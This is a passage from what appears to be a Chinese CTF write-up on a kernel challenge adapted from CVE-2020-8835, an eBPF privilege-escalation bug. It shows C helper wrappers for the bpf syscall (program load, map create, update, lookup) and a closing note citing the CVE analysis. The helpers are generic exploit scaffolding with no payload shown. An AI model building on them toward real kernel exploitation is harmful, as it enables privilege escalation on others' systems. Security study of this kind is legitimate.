static int bpf_prog_load(enum bpf_prog_type prog_type,
const struct bpf_insn *insns, int prog_len,
const char *license, int kern_version){
union bpf_attr attr = {
.prog_type = prog_type,
.insns = (uint64_t)insns,
.insn_cnt = prog_len / sizeof(struct bpf_insn),
.license = (uint64_t)license,
.log_buf = (uint64_t)bpf_log_buf,
.log_size = LOG_BUF_SIZE,
.log_level = 1,
};
attr.kern_version = kern_version;
bpf_log_buf[0] = 0;
return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
}
static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
int max_entries){
union bpf_attr attr = {
.map_type = map_type,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
}
static int bpf_update_elem(int fd ,void *key, void *value,uint64_t flags){
union bpf_attr attr = {
.map_fd = fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
.flags = flags,
};
return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
}
static int bpf_lookup_elem(int fd,void *key, void *value){
union bpf_attr attr = {
.map_fd = fd,
.key = (uint64_t)key,
.value = (uint64_t)value,
};
return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
}
结束语
这道题目很好地改编了CVE，非常考验对于bpf指令检测的了解和调试，综合难度很高，再次感谢sunichi师傅的帮助。
参考
CVE-2020-8835 pwn2own 2020 ebpf 提权漏洞分析
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